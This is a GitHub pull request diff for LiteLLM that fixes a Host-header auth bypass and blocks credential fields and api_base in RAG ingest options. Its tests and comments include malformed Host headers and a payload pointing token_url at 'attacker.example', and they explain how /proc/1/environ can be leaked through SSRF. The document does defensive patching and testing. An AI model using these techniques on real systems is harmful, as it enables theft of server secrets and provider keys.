Skip to content
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
Show all changes
17 commits
Select commit Hold shift + click to select a range
380d9fd
fix: patch Host-header auth bypass in get_request_route
krrish-berri-2 May 13, 2026
1227572
style: reduce comments in route fix
krrish-berri-2 May 13, 2026
d0823ba
fix: block credential fields in RAG ingest vector_store options
krrish-berri-2 May 13, 2026
2f7b8ee
fix: block /key/update self-escalation by assigned users
krrish-berri-2 May 14, 2026
6292249
fix: block user-controlled api_base in RAG ingest vector_store options
krrish-berri-2 May 14, 2026
91353bc
fix: restrict /utils/transform_request to PROXY_ADMIN and apply body …
krrish-berri-2 May 14, 2026
c692d94
fix: apply banned-param check to /utils/transform_request
krrish-berri-2 May 14, 2026
6f2a654
fix: block SSRF via api_base in /prompts/test dotprompt YAML frontmatter
krrish-berri-2 May 14, 2026
cc3f01b
Update litellm/proxy/rag_endpoints/endpoints.py
krrish-berri-2 May 14, 2026
eca10ad
fix: coerce nested config strings before banned-param check
krrish-berri-2 May 14, 2026
8fcb2b0
fix: replace substring match with prefix match in is_llm_api_route
krrish-berri-2 May 14, 2026
35c2d5b
fix: stabilize PR #27878 test failures
krrish-berri-2 May 14, 2026
c0312a8
fix(lint): add explicit str() cast in get_request_route for MyPy
krrish-berri-2 May 14, 2026
c28623f
fix: guard bare-/ root_path strip + make total_spend migration idempo…
krrish-berri-2 May 14, 2026
7b8a08a
fix: require creator still owns key for personal-key bypass in /key/u…
krrish-berri-2 May 14, 2026
72d7759
fix: extract auth checks to fix PLR0915 + broaden max_budget assertion
krrish-berri-2 May 14, 2026
d43c5d9
Merge branch 'litellm_internal_staging' into litellm_security_fixex_0…
krrish-berri-2 May 14, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 7 additions & 7 deletions litellm/proxy/auth/auth_utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -489,13 +489,13 @@ def get_request_route(request: Request) -> str:
remove base url from path if set e.g. `/genai/chat/completions` -> `/chat/completions
"""
try:
if hasattr(request, "base_url") and request.url.path.startswith(
request.base_url.path
):
# remove base_url from path
return request.url.path[len(request.base_url.path) - 1 :]
else:
return request.url.path
raw_path: str = request.scope.get("path", request.url.path)
root_path: str = request.scope.get(
"app_root_path", request.scope.get("root_path", "")
)
if root_path and raw_path.startswith(root_path):
return raw_path[len(root_path):]
return raw_path
except Exception as e:
verbose_proxy_logger.debug(
f"error on get_request_route: {str(e)}, defaulting to request.url.path={request.url.path}"
Expand Down
26 changes: 26 additions & 0 deletions litellm/proxy/rag_endpoints/endpoints.py
Original file line number Diff line number Diff line change
Expand Up @@ -383,6 +383,32 @@ async def parse_rag_ingest_request(
},
)

# Credential fields must come from server configuration, not user requests.
# Accepting user-supplied credentials (e.g. vertex_credentials with
# type=external_account + credential_source.file=/proc/1/environ) allows
# any authenticated user to exfiltrate host secrets via SSRF through
# google-auth's identity_pool credential refresh.
_BLOCKED_VECTOR_STORE_CREDENTIAL_PARAMS = {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

High: Provider key exfiltration via api_base

Authenticated users can set ingest_options.vector_store.api_base to an attacker-controlled URL. The OpenAI/Gemini RAG ingestion paths pass that URL into provider calls while falling back to server-configured API keys, so the request sends the provider Authorization header to the user-controlled host; reject api_base here as well, or only accept it from server-side credentials/configuration.

Comment thread
krrish-berri-2 marked this conversation as resolved.
Resolved
"vertex_credentials",
"vertex_ai_credentials",
"aws_access_key_id",
"aws_secret_access_key",
"aws_session_token",
Comment thread
krrish-berri-2 marked this conversation as resolved.
Resolved
"azure_ad_token",
"api_key",
}
vector_store_opts = ingest_options.get("vector_store", {})
if isinstance(vector_store_opts, dict):
for field in _BLOCKED_VECTOR_STORE_CREDENTIAL_PARAMS:
if field in vector_store_opts:
raise HTTPException(
status_code=400,
detail={
"error": f"'{field}' cannot be set in ingest_options.vector_store. "
"Credentials must be configured server-side."
},
)

return ingest_options, file_data, file_url, file_id


Expand Down
34 changes: 34 additions & 0 deletions tests/proxy_unit_tests/test_proxy_routes.py
Original file line number Diff line number Diff line change
Expand Up @@ -189,3 +189,37 @@ def test_get_request_route_with_base_url_not_at_start():
request = create_request("/api/genai/test")
result = get_request_route(request)
assert result == "/api/genai/test"


def _create_request_with_host_header(path: str, host_header: str) -> Request:
return Request(
{
"type": "http",
"method": "GET",
"scheme": "http",
"server": ("localhost", 4000),
"path": path,
"query_string": b"",
"headers": [(b"host", host_header.encode())],
"client": ("127.0.0.1", 50000),
"root_path": "",
}
)


@pytest.mark.parametrize(
"host_header",
[
"localhost/?x=1",
"localhost:4000/?x=1",
"localhost/#test",
"localhost:4000/#test",
],
)
def test_get_request_route_not_bypassed_by_malformed_host(host_header: str):
for protected_path in ["/health", "/user/new", "/key/generate", "/get/internal_user_settings"]:
request = _create_request_with_host_header(path=protected_path, host_header=host_header)
result = get_request_route(request)
assert result == protected_path, (
f"Host: {host_header!r} caused route {protected_path!r} to resolve as {result!r}"
)
40 changes: 40 additions & 0 deletions tests/test_litellm/proxy/rag_endpoints/test_rag_endpoints.py
Original file line number Diff line number Diff line change
Expand Up @@ -128,3 +128,43 @@ def test_internal_user_rag_ingest_without_vector_store_id_allowed(client_interna
f"internal_user should be allowed to create new vector stores. "
f"Response: {response.json()}"
)


@pytest.mark.parametrize(
"blocked_field",
[
"vertex_credentials",
"vertex_ai_credentials",
"aws_access_key_id",
"aws_secret_access_key",
"aws_session_token",
"api_key",
],
)
def test_rag_ingest_blocks_clientside_credentials(client_internal_user, blocked_field):
"""
Credential fields in ingest_options.vector_store must be rejected.

Accepting user-supplied credentials (e.g. vertex_credentials with
type=external_account + credential_source.file=/proc/1/environ) allows
any authenticated user to exfiltrate host secrets via SSRF through
google-auth's identity_pool credential refresh.
"""
payload = {
"ingest_options": {
"vector_store": {
"custom_llm_provider": "vertex_ai",
"vertex_project": "x",
blocked_field: {"type": "external_account", "token_url": "http://attacker.example/sts"},
}
}
}
response = client_internal_user.post(
"/v1/rag/ingest",
json={**payload, "file": {"filename": "q.txt", "content": "dGVzdA==", "content_type": "text/plain"}},
)
assert response.status_code == 400, (
f"Expected 400 when '{blocked_field}' is set clientside, got {response.status_code}: {response.json()}"
)
body = response.json()
assert blocked_field in str(body), f"Response should mention '{blocked_field}': {body}"
Loading